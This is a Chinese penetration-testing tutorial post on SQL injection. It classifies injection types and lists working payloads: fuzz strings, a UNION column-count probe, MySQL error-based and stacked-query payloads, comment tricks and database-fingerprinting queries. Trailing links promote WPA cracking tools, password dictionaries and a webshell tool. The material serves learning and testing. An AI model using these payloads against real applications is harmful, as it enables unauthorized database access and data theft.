渗透测试自学系列—SQL注入分类 以及 常用注入点

Posted LexSaints

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试自学系列—SQL注入分类 以及 常用注入点相关的知识,希望对你有一定的参考价值。

目录

4.1.1. 注入分类

4.1.1.1. 简介

4.1.1.2. 按技巧分类

4.1.1.3. 按获取数据的方式分类

4.1.1.3.1. inband

4.1.1.3.2. inference

4.1.1.3.3. out of band (OOB)

4.1.2. 注入检测

4.1.2.1. 常见的注入点

4.1.2.2. Fuzz注入点

4.1.2.3. 测试用常量

4.1.2.4. 测试列数

4.1.2.5. 报错注入

4.1.2.5.1. 基于geometric的报错注入

4.1.2.6. 堆叠注入

4.1.2.7. 注释符

4.1.2.8. 判断过滤规则

4.1.2.9. 获取信息

4.1.2.10. 测试权限


4.1.1. 注入分类

4.1.1.1. 简介

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

4.1.1.2. 按技巧分类

根据使用的技巧,SQL注入类型可分为

  • 盲注

    • 布尔盲注:只能从应用返回中推断语句执行后的布尔值
    • 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
  • 报错注入:应用会显示全部或者部分的报错信息
  • 堆叠注入:有的应用可以加入 ; 后一次执行多条语句
  • 其他

4.1.1.3. 按获取数据的方式分类

另外也可以根据获取数据的方式分为3类

4.1.1.3.1. inband

利用Web应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。

4.1.1.3.2. inference

通过Web的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过web应用的其他改变来推断数据。

4.1.1.3.3. out of band (OOB)

通过其他传输方式来获得数据,比如DNS解析协议和电子邮件。

4.1.2. 注入检测

4.1.2.1. 常见的注入点

  • GET/POST/PUT/DELETE参数
  • X-Forwarded-For
  • 文件名

4.1.2.2. Fuzz注入点

  • ' / "
  • 1/1
  • 1/0
  • and 1=1
  • " and "1"="1
  • and 1=2
  • or 1=1
  • or 1=
  • ' and '1'='1
  • + - ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引号执行

4.1.2.3. 测试用常量

  • @@version
  • @@servername
  • @@language
  • @@spid

4.1.2.4. 测试列数

例如 http://www.foo.com/index.asp?id=12+union+select+null,null-- ,不断增加 null 至不返回

4.1.2.5. 报错注入

  • select 1/0
  • select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a
  • extractvalue(1, concat(0x5c,(select user())))
  • updatexml(0x3a,concat(1,(select user())),1)
  • exp(~(SELECT * from(select user())a))
  • ST_LatFromGeoHash((select * from(select * from(select user())a)b))
  • GTID_SUBSET(version(), 1)

4.1.2.5.1. 基于geometric的报错注入

  • GeometryCollection((select * from (select * from(select user())a)b))
  • polygon((select * from(select * from(select user())a)b))
  • multipoint((select * from(select * from(select user())a)b))
  • multilinestring((select * from(select * from(select user())a)b))
  • LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在mysql 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。

4.1.2.6. 堆叠注入

  • ;select 1

4.1.2.7. 注释符

  • #
  • --+
  • /*xxx*/
  • /*!xxx*/
  • /*!50000xxx*/

4.1.2.8. 判断过滤规则

  • 是否有trunc
  • 是否过滤某个字符
  • 是否过滤关键字
  • slash和编码

4.1.2.9. 获取信息

  • 判断数据库类型

    • and exists (select * from msysobjects ) > 0 access数据库
    • and exists (select * from sysobjects ) > 0 SQLServer数据库
  • 判断数据库表

    • and exsits (select * from admin)
  • 版本、主机名、用户名、库名
  • 表和字段

    • 确定字段数

      • Order By
      • Select Into
    • 表名、列名

4.1.2.10. 测试权限

  • 文件操作

    • 读敏感文件
    • 写shell
  • 带外通道

    • 网络请求

【渗透测试相关工具下载】

brutecrack工具[WIFIPR中文版]及wpa/wpa2字典

brutecrack工具[WIFIPR中文版]及wpa/wpa2字典_wifipr-其它文档类资源-CSDN下载

Kali字典文件/纯数字/电话号码/弱/常用/Wifi等各种类型字典【解压后共计60G+字典文件】

Kali字典文件/纯数字/电话号码/弱/常用/Wifi等各种类型字典【解压后共计60G+字典文件】_kali字典下载-系统安全文档类资源-CSDN下载

【kali常用工具】brutecrack工具[WIFIPR中文版]及wpa/wpa2字典
brutecrack工具[WIFIPR中文版]及wpa/wpa2字典_wifipr-其它文档类资源-CSDN下载

【kali常用工具】EWSA 5.1.282-破包工具
【kali常用工具】EWSA5.1.282-破包工具_linux跑包工具-管理软件文档类资源-CSDN下载

【kali常用工具】Realtek 8812AU KALI网卡驱动及安装教程
【kali常用工具】Realtek8812AUKALI网卡驱动及安装教程_kalirtl8812au-网络设备文档类资源-CSDN下载

【kali常用工具】无线信号搜索工具_kali更新
【kali常用工具】无线信号搜索工具_kali更新_kali更新-互联网文档类资源-CSDN下载

【kali常用工具】inssider信号测试软件_kali常用工具
【kali常用工具】inssider信号测试软件_kali常用工具_搜索引擎语法lexsaints-网管软件文档类资源-CSDN下载

【kali常用工具】MAC地址修改工具 保护终端不暴露
【kali常用工具】MAC地址修改工具保护终端不暴露_mac修改工具下载-Linux文档类资源-CSDN下载

【kali常用工具】脚本管理工具 php和jsp页面 接收命令参数 在服务器端执行
脚本管理工具php和jsp页面接收命令参数在服务器端执行_搜索引擎语法lexsaints-网络安全文档类资源-CSDN下载

【kali常用工具】上网行为监控工具       
上网行为工具_搜索引擎语法lexsaints-网络安全文档类资源-CSDN下载

【kali常用工具】抓包工具Charles Windows64位 免费版
抓包工具CharlesWindows64位免费版_charleswindows-网络监控文档类资源-CSDN下载

【kali常用工具】图印工具stamp.zip
图印工具stamp.zip_搜索引擎语法lexsaints-制造文档类资源-CSDN下载

推荐阅读

python及安全系列

【python实战】女友半夜加班发自拍 python男友用30行代码发现惊天秘密

【渗透案例】上班摸鱼误入陌生网址——结果被XSS劫持了

【渗透测试】python你TM太皮了——区区30行代码就能记录键盘的一举一动

【渗透实战】女神相册密码忘记了,我只用Python写了20行代码~~~

【渗透测试】密码暴力破解工具——九头蛇(hydra)使用详解及实战

【渗透学习】Web安全渗透详细教程+学习线路+详细笔记【全网最全+建议收藏】

【渗透案例】如何用ssh工具连接前台小姐姐的“小米手机”——雷总看了直呼内行!!!

【渗透测试】密码暴力破解工具——九头蛇(hydra)使用详解及实战

pygame系列文章

一起来学pygame吧 游戏开发30例(二)——塔防游戏

一起来学pygame吧 游戏开发30例(三)——射击外星人小游戏 

一起来学pygame吧 游戏开发30例(四)——俄罗斯方块小游戏 

一起来学pygame吧 游戏开发30例(五)——消消乐 小游戏

一起来学pygame吧 游戏开发30例(六)——高山滑雪 小游戏

 CSDN官方学习推荐 ↓ ↓ ↓ 

CSDN出的Python和Java的全栈知识图谱,太强了,推荐给大家!

更多渗透测试技术请关注 ↓  ↓  ↓

以上是关于渗透测试自学系列—SQL注入分类 以及 常用注入点的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试自学系列— 数据库注入攻击检测

用友OA/NC/NCCloud安全漏洞检测以及RCE复现渗透测试

网络安全工程师需要学啥?

Sql注入-1:sql注入基本原理

记一次由sql注入到拿下域控的渗透测试实战演练(上)

渗透测试自学系列—黑客常用的端口及攻击方法汇总